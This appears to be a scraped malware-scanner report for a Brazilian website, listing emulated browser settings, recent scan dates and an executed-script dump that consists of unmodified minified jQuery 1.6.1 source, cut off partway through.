Overview
Settings
| UserAgent | Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20101203 Firefox/3.6.13 |
| Referer | |
| Adobe Reader | 8.0 |
| Java | 1.6.0_26 |
Intrusion Detection Systems
| Suricata /w Emerging Threats Pro |
| |||||||||||||||
| Snort /w Sourcefire VRT |
|
Recent reports on same IP/ASN/Domain
Last 6 reports on ASN: AS10733 Matrix Informatica
| Date | Alerts / IDS | URL | IP |
|---|---|---|---|
| 2012-12-22 11:50:53 | 1 / 1 | http://promar.com.br/ | |
| 2012-12-21 19:23:34 | 1 / 0 | http://promar.com.br/pages/contato.html | |
| 2012-12-21 12:45:56 | 1 / 0 | http://promar.com.br/ | |
| 2012-12-21 03:12:18 | 1 / 0 | http://promar.com.br/pages/dicas/tintas4.html | |
| 2012-12-21 02:53:18 | 1 / 0 | http://promar.com.br/pages/dicas/ciclo20.html | |
| 2012-12-21 02:10:05 | 1 / 0 | http://promar.com.br/pages/dicas/ciclo13.html |
JavaScript
Executed Scripts (6)
Executed Evals (5)
#1 JavaScript::Eval (size: 91366, repeated: 1)/*!
* jQuery JavaScript Library v1.6.1
* http://jquery.com/
*
* Copyright 2011, John Resig
* Dual licensed under the MIT or GPL Version 2 licenses.
* http://jquery.org/license
*
* Includes Sizzle.js
* http://sizzlejs.com/
* Copyright 2011, The Dojo Foundation
* Released under the MIT, BSD, and GPL Licenses.
*
* Date: Thu May 12 15:04:36 2011 -0400
*/
(function(a, b) {
function cy(a) {
return f.isWindow(a) ? a : a.nodeType === 9 ? a.defaultView || a.parentWindow : !1
}
function cv(a) {
if (!cj[a]) {
var b = f("<" + a + ">").appendTo("body"),
d = b.css("display");
b.remove();
if (d === "none" || d === "") {
ck || (ck = c.createElement("iframe"), ck.frameBorder = ck.width = ck.height = 0), c.body.appendChild(ck);
if (!cl || !ck.createElement) cl = (ck.contentWindow || ck.contentDocument).document, cl.write("<!doctype><html><body></body></html>");
b = cl.createElement(a), cl.body.appendChild(b), d = f.css(b, "display"), c.body.removeChild(ck)
}
cj[a] = d
}
return cj[a]
}
function cu(a, b) {
var c = {};
f.each(cp.concat.apply([], cp.slice(0, b)), function() {
c[this] = a
});
return c
}
function ct() {
cq = b
}
function cs() {
setTimeout(ct, 0);
return cq = f.now()
}
function ci() {
try {
return new a.ActiveXObject("Microsoft.XMLHTTP")
} catch (b) {}
}
function ch() {
try {
return new a.XMLHttpRequest
} catch (b) {}
}
function cb(a, c) {
a.dataFilter && (c = a.dataFilter(c, a.dataType));
var d = a.dataTypes,
e = {},
g, h, i = d.length,
j, k = d[0],
l, m, n, o, p;
for (g = 1; g < i; g++) {
if (g === 1) for (h in a.converters) typeof h == "string" && (e[h.toLowerCase()] = a.converters[h]);
l = k, k = d[g];
if (k === "*") k = l;
else if (l !== "*" && l !== k) {
m = l + " " + k, n = e[m] || e["* " + k];
if (!n) {
p = b;
for (o in e) {
j = o.split(" ");
if (j[0] === l || j[0] === "*") {
p = e[j[1] + " " + k];
if (p) {
o = e[o], o === !0 ? n = p : p === !0 && (n = o);
break
}
}
}
}!n && !p && f.error("No conversion from " + m.replace(" ", " to ")), n !== !0 && (c = n ? n(c) : p(o(c)))
}
}
return c
}
function ca(a, c, d) {
var e = a.contents,
f = a.dataTypes,
g = a.responseFields,
h, i, j, k;
for (i in g) i in d && (c[g[i]] = d[i]);
while (f[0] === "*") f.shift(), h === b && (h = a.mimeType || c.getResponseHeader("content-type"));
if (h) for (i in e) if (e[i] && e[i].test(h)) {
f.unshift(i);
break
}
if (f[0] in d) j = f[0];
else {
for (i in d) {
if (!f[0] || a.converters[i + " " + f[0]]) {
j = i;
break
}
k || (k = i)
}
j = j || k
}
if (j) {
j !== f[0] && f.unshift(j);
return d[j]
}
}
function b_(a, b, c, d) {
if (f.isArray(b)) f.each(b, function(b, e) {
c || bF.test(a) ? d(a, e) : b_(a + "[" + (typeof e == "object" || f.isArray(e) ? b : "") + "]", e, c, d)
});
else if (!c && b != null && typeof b == "object") for (var e in b) b_(a + "[" + e + "]", b[e], c, d);
else d(a, b)
}
function b$(a, c, d, e, f, g) {
f = f || c.dataTypes[0], g = g || {}, g[f] = !0;
var h = a[f],
i = 0,
j = h ? h.length : 0,
k = a === bU,
l;
for (; i < j && (k || !l); i++) l = h[i](c, d, e), typeof l == "string" && (!k || g[l] ? l = b : (c.dataTypes.unshift(l), l = b$(a, c, d, e, l, g)));
(k || !l) && !g["*"] && (l = b$(a, c, d, e, "*", g));
return l
}
function bZ(a) {
return function(b, c) {
typeof b != "string" && (c = b, b = "*");
if (f.isFunction(c)) {
var d = b.toLowerCase().split(bQ),
e = 0,
g = d.length,
h, i, j;
for (; e < g; e++) h = d[e], j = /^\+/.test(h), j && (h = h.substr(1) || "*"), i = a[h] = a[h] || [], i[j ? "unshift" : "push"](c)
}
}
}
function bD(a, b, c) {
var d = b === "width" ? bx : by,
e = b === "width" ? a.offsetWidth : a.offsetHeight;
if (c === "border") return e;
f.each(d, function() {
c || (e -= parseFloat(f.css(a, "padding" + this)) || 0), c === "margin" ? e += parseFloat(f.css(a, "margin" + this)) || 0 : e -= parseFloat(f.css(a, "border" + this + "Width")) || 0
});
return e
}
function bn(a, b) {
b.src ? f.ajax({
url: b.src,
async: !1,
dataType: "script"
}) : f.globalEval((b.text || b.textContent || b.innerHTML || "").replace(bf, "/*$0*/")), b.parentNode && b.parentNode.removeChild(b)
}
function bm(a) {
f.nodeName(a, "input") ? bl(a) : a.getElementsByTagName && f.grep(a.getElementsByTagName("input"), bl)
}
function bl(a) {
if (a.type === "checkbox" || a.type === "radio") a.defaultChecked = a.checked
}
function bk(a) {
return "getElementsByTagName" in a ? a.getElementsByTagName("*") : "querySelectorAll" in a ? a.querySelectorAll("*") : []
}
function bj(a, b) {
var c;
if (b.nodeType === 1) {
b.clearAttributes && b.clearAttributes(), b.mergeAttributes && b.mergeAttributes(a), c = b.nodeName.toLowerCase();
if (c === "object") b.outerHTML = a.outerHTML;
else if (c !== "input" || a.type !== "checkbox" && a.type !== "radio") {
if (c === "option") b.selected = a.defaultSelected;
else if (c === "input" || c === "textarea") b.defaultValue = a.defaultValue
} else a.checked && (b.defaultChecked = b.checked = a.checked), b.value !== a.value && (b.value = a.value);
b.removeAttribute(f.expando)
}
}
function bi(a, b) {
if (b.nodeType === 1 && !! f.hasData(a)) {
var c = f.expando,
d = f.data(a),
e = f.data(b, d);
if (d = d[c]) {
var g = d.events;
e = e[c] = f.extend({}, d);
if (g) {
delete e.handle, e.events = {};
for (var h in g) for (var i = 0, j = g[h].length; i < j; i++) f.event.add(b, h + (g[h][i].namespace ? "." : "") + g[h][i].namespace, g[h][i], g[h][i].data)
}
}
}
}
function bh(a, b) {
return f.nodeName(a, "table") ? a.getElementsByTagName("tbody")[0] || a.appendChild(a.ownerDocument.createElement("tbody")) : a
}
function X(a, b, c) {
b = b || 0;
if (f.isFunction(b)) return f.grep(a, function(a, d) {
var e = !! b.call(a, d, a);
return e === c
});
if (b.nodeType) return f.grep(a, function(a, d) {
return a === b === c
});
if (typeof b == "string") {
var d = f.grep(a, function(a) {
return a.nodeType === 1
});
if (S.test(b)) return f.filter(b, d, !c);
b = f.filter(b, d)
}
return f.grep(a, function(a, d) {
return f.inArray(a, b) >= 0 === c
})
}
function W(a) {
return !a || !a.parentNode || a.parentNode.nodeType === 11
}
function O(a, b) {
return (a && a !== "*" ? a + "." : "") + b.replace(A, "`").replace(B, "&")
}
function N(a) {
var b, c, d, e, g, h, i, j, k, l, m, n, o, p = [],
q = [],
r = f._data(this, "events");
if (!(a.liveFired === this || !r || !r.live || a.target.disabled || a.button && a.type === "click")) {
a.namespace && (n = new RegExp("(^|\\.)" + a.namespace.split(".").join("\\.(?:.*\\.)?") + "(\\.|$)")), a.liveFired = this;
var s = r.live.slice(0);
for (i = 0; i < s.length; i++) g = s[i], g.origType.replace(y, "") === a.type ? q.push(g.selector) : s.splice(i--, 1);
e = f(a.target).closest(q, a.currentTarget);
for (j = 0, k = e.length; j < k; j++) {
m = e[j];
for (i = 0; i < s.length; i++) {
g = s[i];
if (m.selector === g.selector && (!n || n.test(g.namespace)) && !m.elem.disabled) {
h = m.elem, d = null;
if (g.preType === "mouseenter" || g.preType === "mouseleave") a.type = g.preType, d = f(a.relatedTarget).closest(g.selector)[0], d && f.contains(h, d) && (d = h);
(!d || d !== h) && p.push({
elem: h,
handleObj: g,
level: m.level
})
}
}
}
for (j = 0, k = p.length; j < k; j++) {
e = p[j];
if (c && e.level > c) break;
a.currentTarget = e.elem, a.data = e.handleObj.data, a.handleObj = e.handleObj, o = e.handleObj.origHandler.apply(e.elem, arguments);
if (o === !1 || a.isPropagationStopped()) {
c = e.level, o === !1 && (b = !1);
if (a.isImmediatePropagationStopped()) break
}
}
return b
}
}
function L(a, c, d) {
var e = f.extend({}, d[0]);
e.type = a, e.originalEvent = {}, e.liveFired = b, f.event.handle.call(c, e), e.isDefaultPrevented() && d[0].preventDefault()
}
function F() {
return !0
}
function E() {
return !1
}
function m(a, c, d) {
var e = c + "defer",
g = c + "queue",
h = c + "mark",
i = f.data(a, e, b, !0);
i && (d === "queue" || !f.data(a, g, b, !0)) && (d === "mark" || !f.data(a, h, b, !0)) && setTimeout(function() {
!f.data(a, g, b, !0) && !f.data(a, h, b, !0) && (f.removeData(a, e, !0), i.resolve())
}, 0)
}
function l(a) {
for (var b in a) if (b !== "toJSON") return !1;
return !0
}
function k(a, c, d) {
if (d === b && a.nodeType === 1) {
var e = "data-" + c.replace(j, "$1-$2").toLowerCase();
d = a.getAttribute(e);
if (typeof d == "string") {
try {
d = d === "true" ? !0 : d === "false" ? !1 : d === "null" ? null : f.isNaN(d) ? i.test(d) ? f.parseJSON(d) : d : parseFloat(d)
} catch (g) {}
f.data(a, c, d)
} else d = b
}
return d
}
var c = a.document,
d = a.navigator,
e = a.location,
f = function() {
function H() {
if (!e.isReady) {
try {
c.documentElement.doScroll("left")
} catch (a) {
setTimeout(H, 1);
return
}
e.ready()
}
}
var e = function(a, b) {
return new e.fn.init(a, b, h)
},
f = a.jQuery,
g = a.$,
h, i = /^(?:[^<]*(<[\w\W]+>)[^>]*$|#([\w\-]*)$)/,
j = /\S/,
k = /^\s+/,
l = /\s+$/,
m = /\d/,
n = /^<(\w+)\s*\/?>(?:<\/\1>)?$/,
o = /^[\],:{}\s]*$/,
p = /\\(?:["\\\/bfnrt]|u[0-9a-fA-F]{4})/g,
q = /"[^"\\\n\r]*"|true|false|null|-?\d+(?:\.\d*)?(?:[eE][+\-]?\d+)?/g,
r = /(?:^|:|,)(?:\s*\[)+/g,
s = /(webkit)[ \/]([\w.]+)/,
t = /(opera)(?:.*version)?[ \/]([\w.]+)/,
u = /(msie) ([\w.]+)/,
v = /(mozilla)(?:.*? rv:([\w.]+))?/,
w = d.userAgent,
x, y, z, A = Object.prototype.toString,
B = Object.prototype.hasOwnProperty,
C = Array.prototype.push,
D = Array.prototype.slice,
E = String.prototype.trim,
F = Array.prototype.indexOf,
G = {};
e.fn = e.prototype = {
constructor: e,
init: function(a, d, f) {
var g, h, j, k;
if (!a) return this;
if (a.nodeType) {
this.context = this[0] = a, this.length = 1;
return this
}
if (a === "body" && !d && c.body) {
this.context = c, this[0] = c.body, this.selector = a, this.length = 1;
return this
}
if (typeof a == "string") {
a.charAt(0) !== "<" || a.charAt(a.length - 1) !== ">" || a.length < 3 ? g = i.exec(a) : g = [null, a, null];
if (g && (g[1] || !d)) {
if (g[1]) {
d = d instanceof e ? d[0] : d, k = d ? d.ownerDocument || d : c, j = n.exec(a), j ? e.isPlainObject(d) ? (a = [c.createElement(j[1])], e.fn.attr.call(a, d, !0)) : a = [k.createElement(j[1])] : (j = e.buildFragment([g[1]], [k]), a = (j.cacheable ? e.clone(j.fragment) : j.fragment).childNodes);
return e.merge(this, a)
}
h = c.getElementById(g[2]);
if (h && h.parentNode) {
if (h.id !== g[2]) return f.find(a);
this.length = 1, this[0] = h
}
this.context = c, this.selector = a;
return this
}
return !d || d.jquery ? (d || f).find(a) : this.constructor(d).find(a)
}
if (e.isFunction(a)) return f.ready(a);
a.selector !== b && (this.selector = a.selector, this.context = a.context);
return e.makeArray(a, this)
},
selector: "",
jquery: "1.6.1",
length: 0,
size: function() {
return this.length
},
toArray: function() {
return D.call(this, 0)
},
get: function(a) {
return a == null ? this.toArray() : a < 0 ? this[this.length + a] : this[a]
},
pushStack: function(a, b, c) {
var d = this.constructor();
e.isArray(a) ? C.apply(d, a) : e.merge(d, a), d.prevObject = this, d.context = this.context, b === "find" ? d.selector = this.selector + (this.selector ? " " : "") + c : b && (d.selector = this.selector + "." + b + "(" + c + ")");
return d
},
each: function(a, b) {
return e.each(this, a, b)
},
ready: function(a) {
e.bindReady(), y.done(a);
return this
},
eq: function(a) {
return a === -1 ? this.slice(a) : this.slice(a, +a + 1)
},
first: function() {
return this.eq(0)
},
last: function() {
return this.eq(-1)
},
slice: function() {
return this.pushStack(D.apply(this, arguments), "slice", D.call(arguments).join(","))
},
map: function(a) {
return this.pushStack(e.map(this, function(b, c) {
return a.call(b, c, b)
}))
},
end: function() {
return this.prevObject || this.constructor(null)
},
push: C,
sort: [].sort,
splice: [].splice
}, e.fn.init.prototype = e.fn, e.extend = e.fn.extend = function() {
var a, c, d, f, g, h, i = arguments[0] || {},
j = 1,
k = arguments.length,
l = !1;
typeof i == "boolean" && (l = i, i = arguments[1] || {}, j = 2), typeof i != "object" && !e.isFunction(i) && (i = {}), k === j && (i = this, --j);
for (; j < k; j++) if ((a = arguments[j]) != null) for (c in a) {
d = i[c], f = a[c];
if (i === f) continue;
l && f && (e.isPlainObject(f) || (g = e.isArray(f))) ? (g ? (g = !1, h = d && e.isArray(d) ? d : []) : h = d && e.isPlainObject(d) ? d : {}, i[c] = e.extend(l, h, f)) : f !== b && (i[c] = f)
}
return i
}, e.extend({
noConflict: function(b) {
a.$ === e && (a.$ = g), b && a.jQuery === e && (a.jQuery = f);
return e
},
isReady: !1,
readyWait: 1,
holdReady: function(a) {
a ? e.readyWait++ : e.ready(!0)
},
ready: function(a) {
if (a === !0 && !--e.readyWait || a !== !0 && !e.isReady) {
if (!c.body) return setTimeout(e.ready, 1);
e.isReady = !0;
if (a !== !0 && --e.readyWait > 0) return;
y.resolveWith(c, [e]), e.fn.trigger && e(c).trigger("ready").unbind("ready")
}
},
bindReady: function() {
if (!y) {
y = e._Deferred();
if (c.readyState === "complete") return setTimeout(e.ready, 1);
if (c.addEventListener) c.addEventListener("DOMContentLoaded", z, !1), a.addEventListener("load", e.ready, !1);
else if (c.attachEvent) {
c.attachEvent("onreadystatechange", z), a.attachEvent("onload", e.ready);
var b = !1;
try {
b = a.frameElement == null
} catch (d) {}
c.documentElement.doScroll && b && H()
}
}
},
isFunction: function(a) {
return e.type(a) === "function"
},
isArray: Array.isArray ||
function(a) {
return e.type(a) === "array"
},
isWindow: function(a) {
return a && typeof a == "object" && "setInterval" in a
},
isNaN: function(a) {
return a == null || !m.test(a) || isNaN(a)
},
type: function(a) {
return a == null ? String(a) : G[A.call(a)] || "object"
},
isPlainObject: function(a) {
if (!a || e.type(a) !== "object" || a.nodeType || e.isWindow(a)) return !1;
if (a.constructor && !B.call(a, "constructor") && !B.call(a.constructor.prototype, "isPrototypeOf")) return !1;
var c;
for (c in a);
return c === b || B.call(a, c)
},
isEmptyObject: function(a) {
for (var b in a) return !1;
return !0
},
error: function(a) {
throw a
},
parseJSON: function(b) {
if (typeof b != "string" || !b) return null;
b = e.trim(b);
if (a.JSON && a.JSON.parse) return a.JSON.parse(b);
if (o.test(b.replace(p, "@").replace(q, "]").replace(r, ""))) return (new Function("return " + b))();
e.error("Invalid JSON: " + b)
},
parseXML: function(b, c, d) {
a.DOMParser ? (d = new DOMParser, c = d.parseFromString(b, "text/xml")) : (c = new ActiveXObject("Microsoft.XMLDOM"), c.async = "false", c.loadXML(b)), d = c.documentElement, (!d || !d.nodeName || d.nodeName === "parsererror") && e.error("Invalid XML: " + b);
return c
},
noop: function() {},
globalEval: function(b) {
b && j.test(b) && (a.execScript ||
function(b) {
a.eval.call(a, b)
})(b)
},
nodeName: function(a, b) {
return a.nodeName && a.nodeName.toUpperCase() === b.toUpperCase()
},
each: function(a, c, d) {
var f, g = 0,
h = a.length,
i = h === b || e.isFunction(a);
if (d) {
if (i) {
for (f in a) if (c.apply(a[f], d) === !1) break
} else for (; g < h;) if (c.apply(a[g++], d) === !1) break
} else if (i) {
for (f in a) if (c.call(a[f], f, a[f]) === !1) break
} else for (; g < h;) if (c.call(a[g], g, a[g++]) === !1) break;
return a
},
trim: E ?
function(a) {
return a == null ? "" : E.call(a)
} : function(a) {
return a == null ? "" : (a + "").replace(k, "").replace(l, "")
},
makeArray: function(a, b) {
var c = b || [];
if (a != null) {
var d = e.type(a);
a.length == null || d === "string" || d === "function" || d === "regexp" || e.isWindow(a) ? C.call(c, a) : e.merge(c, a)
}
return c
},
inArray: function(a, b) {
if (F) return F.call(b, a);
for (var c = 0, d = b.length; c < d; c++) if (b[c] === a) return c;
return -1
},
merge: function(a, c) {
var d = a.length,
e = 0;
if (typeof c.length == "number") for (var f = c.length; e < f; e++) a[d++] = c[e];
else while (c[e] !== b) a[d++] = c[e++];
a.length = d;
return a
},
grep: function(a, b, c) {
var d = [],
e;
c = !! c;
for (var f = 0, g = a.length; f < g; f++) e = !! b(a[f], f), c !== e && d.push(a[f]);
return d
},
map: function(a, c, d) {
var f, g, h = [],
i = 0,
j = a.length,
k = a instanceof e || j !== b && typeof j == "number" && (j > 0 && a[0] && a[j - 1] || j === 0 || e.isArray(a));
if (k) for (; i < j; i++) f = c(a[i], i, d), f != null && (h[h.length] = f);
else for (g in a) f = c(a[g], g, d), f != null && (h[h.length] = f);
return h.concat.apply([], h)
},
guid: 1,
proxy: function(a, c) {
if (typeof c == "string") {
var d = a[c];
c = a, a = d
}
if (!e.isFunction(a)) return b;
var f = D.call(arguments, 2),
g = function() {
return a.apply(c, f.concat(D.call(arguments)))
};
g.guid = a.guid = a.guid || g.guid || e.guid++;
return g
},
access: function(a, c, d, f, g, h) {
var i = a.length;
if (typeof c == "object") {
for (var j in c) e.access(a, j, c[j], f, g, d);
return a
}
if (d !== b) {
f = !h && f && e.isFunction(d);
for (var k = 0; k < i; k++) g(a[k], c, f ? d.call(a[k], k, g(a[k], c)) : d, h);
return a
}
return i ? g(a[0], c) : b
},
now: function() {
return (new Date).getTime()
},
uaMatch: function(a) {
a = a.toLowerCase();
var b = s.exec(a) || t.exec(a) || u.exec(a) || a.indexOf("compatible") < 0 && v.exec(a) || [];
return {
browser: b[1] || "",
version: b[2] || "0"
}
},
sub: function() {
function a(b, c) {
return new a.fn.init(b, c)
}
e.extend(!0, a, this), a.superclass = this, a.fn = a.prototype = this(), a.fn.constructor = a, a.sub = this.sub, a.fn.init = function(d, f) {
f && f instanceof e && !(f instanceof a) && (f = a(f));
return e.fn.init.call(this, d, f, b)
}, a.fn.init.prototype = a.fn;
var b = a(c);
return a
},
browser: {}
}), e.each("Boolean Number String Function Array Date RegExp Object".split(" "), function(a, b) {
G["[object " + b + "]"] = b.toLowerCase()
}), x = e.uaMatch(w), x.browser && (e.browser[x.browser] = !0, e.browser.version = x.version), e.browser.webkit && (e.browser.safari = !0), j.test("Â ") && (k = /^[\s\xA0]+/, l = /[\s\xA0]+$/), h = e(c), c.addEventListener ? z = function() {
c.removeEventListener("DOMContentLoaded", z, !1), e.ready()
} : c.attachEvent && (z = function() {
c.readyState === "complete" && (c.detachEvent("onreadystatechange", z), e.ready())
});
return e
}(),
g = "done fail isResolved isRejected promise then always pipe".split(" "),
h = [].slice;
f.extend({
_Deferred: function() {
var a = [],
b, c, d, e = {
done: function() {
if (!d) {
var c = arguments,
g, h, i, j, k;
b && (k = b, b = 0);
for (g = 0, h = c.length; g < h; g++) i = c[g], j = f.type(i), j === "array" ? e.done.apply(e, i) : j === "function" && a.push(i);
k && e.resolveWith(k[0], k[1])
}
return this
},
resolveWith: function(e, f) {
if (!d && !b && !c) {
f = f || [], c = 1;
try {
while (a[0]) a.shift().apply(e, f)
} finally {
b = [e, f], c = 0
}
}
return this
},
resolve: function() {
e.resolveWith(this, arguments);
return this
},
isResolved: function() {
return !!c || !! b
},
cancel: function() {
d = 1, a = [];
return this
}
};
return e
},
Deferred: function(a) {
var b = f._Deferred(),
c = f._Deferred(),
d;
f.extend(b, {
then: function(a, c) {
b.done(a).fail(c);
return this
},
always: function() {
return b.done.apply(b, arguments).fail.apply(this, arguments)
},
fail: c.done,
rejectWith: c.resolveWith,
reject: c.resolve,
isRejected: c.isResolved,
pipe: function(a, c) {
return f.Deferred(function(d) {
f.each({
done: [a, "resolve"],
fail: [c, "reject"]
}, function(a, c) {
var e = c[0],
g = c[1],
h;
f.isFunction(e) ? b[a](function() {
h = e.apply(this, arguments), h && f.isFunction(h.promise) ? h.promise().then(d.resolve, d.reject) : d[g](h)
}) : b[a](d[g])
})
}).promise()
},
promise: function(a) {
if (a == null) {
if (d) return d;
d = a = {}
}
var c = g.length;
while (c--) a[g[c]] = b[g[c]];
return a
}
}), b.done(c.cancel).fail(b.cancel), delete b.cancel, a && a.call(b, b);
return b
},
when: function(a) {
function i(a) {
return function(c) {
b[a] = arguments.length > 1 ? h.call(arguments, 0) : c, --e || g.resolveWith(g, h.call(b, 0))
}
}
var b = arguments,
c = 0,
d = b.length,
e = d,
g = d <= 1 && a && f.isFunction(a.promise) ? a : f.Deferred();
if (d > 1) {
for (; c < d; c++) b[c] && f.isFunction(b[c].promise) ? b[c].promise().then(i(c), g.reject) : --e;
e || g.resolveWith(g, b)
} else g !== a && g.resolveWith(g, d ? [a] : []);
return g.promise()
}
}), f.support = function() {
var a = c.createElement("div"),
b = c.documentElement,
d, e, f, g, h, i, j, k, l, m, n, o, p, q, r;
a.setAttribute("className", "t"), a.innerHTML = " <link/><table></table><a href='/a' style='top:1px;float:left;opacity:.55;'>a</a><input type='checkbox'/>", d = a.getElementsByTagName("*"), e = a.getElementsByTagName("a")[0];
if (!d || !d.length || !e) return {};
f = c.createElement("select"), g = f.appendChild(c.createElement("option")), h = a.getElementsByTagName("input")[0], j = {
leadingWhitespace: a.firstChild.nodeType === 3,
tbody: !a.getElementsByTagName("tbody").length,
htmlSerialize: !! a.getElementsByTagName("link").length,
style: /top/.test(e.getAttribute("style")),
hrefNormalized: e.getAttribute("href") === "/a",
opacity: /^0.55$/.test(e.style.opacity),
cssFloat: !! e.style.cssFloat,
checkOn: h.value === "on",
optSelected: g.selected,
getSetAttribute: a.className !== "t",
submitBubbles: !0,
changeBubbles: !0,
focusinBubbles: !1,
deleteExpando: !0,
noCloneEvent: !0,
inlineBlockNeedsLayout: !1,
shrinkWrapBlocks: !1,
reliableMarginRight: !0
}, h.checked = !0, j.noCloneChecked = h.cloneNode(!0).checked, f.disabled = !0, j.optDisabled = !g.disabled;
try {
delete a.test
} catch (s) {
j.deleteExpando = !1
}!a.addEventListener && a.attachEvent && a.fireEvent && (a.attachEvent("onclick", function b() {
j.noCloneEvent = !1, a.detachEvent("onclick", b)
}), a.cloneNode(!0).fireEvent("onclick")), h = c.createElement("input"), h.value = "t", h.setAttribute("type", "radio"), j.radioValue = h.value === "t", h.setAttribute("checked", "checked"), a.appendChild(h), k = c.createDocumentFragment(), k.appendChild(a.firstChild), j.checkClone = k.cloneNode(!0).cloneNode(!0).lastChild.checked, a.innerHTML = "", a.style.width = a.style.paddingLeft = "1px", l = c.createElement("body"), m = {
visibility: "hidden",
width: 0,
height: 0,
border: 0,
margin: 0,
background: "none"
};
for (q in m) l.style[q] = m[q];
l.appendChild(a), b.insertBefore(l, b.firstChild), j.appendChecked = h.checked, j.boxModel = a.offsetWidth === 2, "zoom" in a.style && (a.style.display = "inline", a.style.zoom = 1, j.inlineBlockNeedsLayout = a.offsetWidth === 2, a.style.display = "", a.innerHTML = "<div style='width:4px;'></div>", j.shrinkWrapBlocks = a.offsetWidth !== 2), a.innerHTML = "<table><tr><td style='padding:0;border:0;display:none'></td><td>t</td></tr></table>", n = a.getElementsByTagName("td"), r = n[0].offsetHeight === 0, n[0].style.display = "", n[1].style.display = "none", j.reliableHiddenOffsets = r && n[0].offsetHeight === 0, a.innerHTML = "", c.defaultView && c.defaultView.getComputedStyle && (i = c.createElement("div"), i.style.width = "0", i.style.marginRight = "0", a.appendChild(i), j.reliableMarginRight = (parseInt((c.defaultView.getComputedStyle(i, null) || {
marginRight: 0
}).marginRight, 10) || 0) === 0), l.innerHTML = "", b.removeChild(l);
if (a.attachEvent) for (q in {
submit: 1,
change: 1,
focusin: 1
}) p = "on" + q, r = p in a, r || (a.setAttribute(p, "return;"), r = typeof a[p] == "function"), j[q + "Bubbles"] = r;
return j
}(), f.boxModel = f.support.boxModel;
var i = /^(?:\{.*\}|\[.*\])$/,
j = /([a-z])([A-Z])/g;
f.extend({
cache: {},
uuid: 0,
expando: "jQuery" + (f.fn.jquery + Math.random()).replace(/\D/g, ""),
noData: {
embed: !0,
object: "clsid:D27CDB6E-AE6D-11cf-96B8-444553540000",
applet: !0
},
hasData: function(a) {
a = a.nodeType ? f.cache[a[f.expando]] : a[f.expando];
return !!a && !l(a)
},
data: function(a, c, d, e) {
if ( !! f.acceptData(a)) {
var g = f.expando,
h = typeof c == "string",
i, j = a.nodeType,
k = j ? f.cache : a,
l = j ? a[f.expando] : a[f.expando] && f.expando;
if ((!l || e && l && !k[l][g]) && h && d === b) return;
l || (j ? a[f.expando] = l = ++f.uuid : l = f.expando), k[l] || (k[l] = {}, j || (k[l].toJSON = f.noop));
if (typeof c == "object" || typeof c == "function") e ? k[l][g] = f.extend(k[l][g], c) : k[l] = f.extend(k[l], c);
i = k[l], e && (i[g] || (i[g] = {}), i = i[g]), d !== b && (i[f.camelCase(c)] = d);
if (c === "events" && !i[c]) return i[g] && i[g].events;
return h ? i[f.camelCase(c)] : i
}
},
removeData: function(b, c, d) {
if ( !! f.acceptData(b)) {
var e = f.expando,
g = b.nodeType,
h = g ? f.cache : b,
i = g ? b[f.expando] : f.expando;
if (!h[i]) return;
if (c) {
var j = d ? h[i][e] : h[i];
if (j) {
delete j[c];
if (!l(j)) return
}
}
if (d) {
delete h[i][e];
if (!l(h[i])) return
}
var k = h[i][e];
f.support.deleteExpando || h != a ? delete h[i] : h[i] = null, k ? (h[i] = {}, g || (h[i].toJSON = f.noop), h[i][e] = k) : g && (f.support.deleteExpando ? delete b[f.expando] : b.removeAttribute ? b.removeAttribute(f.expando) : b[f.expando] = null)
}
},
_data: function(a, b, c) {
return f.data(a, b, c, !0)
},
acceptData: function(a) {
if (a.nodeName) {
var b = f.noData[a.nodeName.toLowerCase()];
if (b) return b !== !0 && a.getAttribute("classid") === b
}
return !0
}
}), f.fn.extend({
data: function(a, c) {
var d = null;
if (typeof a == "undefined") {
if (this.length) {
d = f.data(this[0]);
if (this[0].nodeType === 1) {
var e = this[0].attributes,
g;
for (var h = 0, i = e.length; h < i; h++) g = e[h].name, g.indexOf("data-") === 0 && (g = f.camelCase(g.substring(5)), k(this[0], g, d[g]))
}
}
return d
}
if (typeof a == "object") return this.each(function() {
f.data(this, a)
});
var j = a.split(".");
j[1] = j[1] ? "." + j[1] : "";
if (c === b) {
d = this.triggerHandler("getData" + j[1] + "!", [j[0]]), d === b && this.length && (d = f.data(this[0], a), d = k(this[0], a, d));
return d === b && j[1] ? this.data(j[0]) : d
}
return this.each(function() {
var b = f(this),
d = [j[0], c];
b.triggerHandler("setData" + j[1] + "!", d), f.data(this, a, c), b.triggerHandler("changeData" + j[1] + "!", d)
})
},
removeData: function(a) {
return this.each(function() {
f.removeData(this, a)
})
}
}), f.extend({
_mark: function(a, c) {
a && (c = (c || "fx") + "mark", f.data(a, c, (f.data(a, c, b, !0) || 0) + 1, !0))
},
_unmark: function(a, c, d) {
a !== !0 && (d = c, c = a, a = !1);
if (c) {
d = d || "fx";
var e = d + "mark",
g = a ? 0 : (f.data(c, e, b, !0) || 1) - 1;
g ? f.data(c, e, g, !0) : (f.removeData(c, e, !0), m(c, d, "mark"))
}
},
queue: function(a, c, d) {
if (a) {
c = (c || "fx") + "queue";
var e = f.data(a, c, b, !0);
d && (!e || f.isArray(d) ? e = f.data(a, c, f.makeArray(d), !0) : e.push(d));
return e || []
}
},
dequeue: function(a, b) {
b = b || "fx";
var c = f.queue(a, b),
d = c.shift(),
e;
d === "inprogress" && (d = c.shift()), d && (b === "fx" && c.unshift("inprogress"), d.call(a, function() {
f.dequeue(a, b)
})), c.length || (f.removeData(a, b + "queue", !0), m(a, b, "queue"))
}
}), f.fn.extend({
queue: function(a, c) {
typeof a != "string" && (c = a, a = "fx");
if (c === b) return f.queue(this[0], a);
return this.each(function() {
var b = f.queue(this, a, c);
a === "fx" && b[0] !== "inprogress" && f.dequeue(this, a)
})
},
dequeue: function(a) {
return this.each(function() {
f.dequeue(this, a)
})
},
delay: function(a, b) {
a = f.fx ? f.fx.speeds[a] || a : a, b = b || "fx";
return this.queue(b, function() {
var c = this;
setTimeout(function() {
f.dequeue(c, b)
}, a)
})
},
clearQueue: function(a) {
return this.queue(a || "fx", [])
},
promise: function(a, c) {
function m() {
--h || d.resolveWith(e, [e])
}
typeof a != "string" && (c = a, a = b), a = a || "fx";
var d = f.Deferred(),
e = this,
g = e.length,
h = 1,
i = a + "defer",
j = a + "queue",
k = a + "mark",
l;
while (g--) if (l = f.data(e[g], i, b, !0) || (f.data(e[g], j, b, !0) || f.data(e[g], k, b, !0)) && f.data(e[g], i, f._Deferred(), !0)) h++, l.done(m);
m();
return d.promise()
}
});
var n = /[\n\t\r]/g,
o = /\s+/,
p = /\r/g,
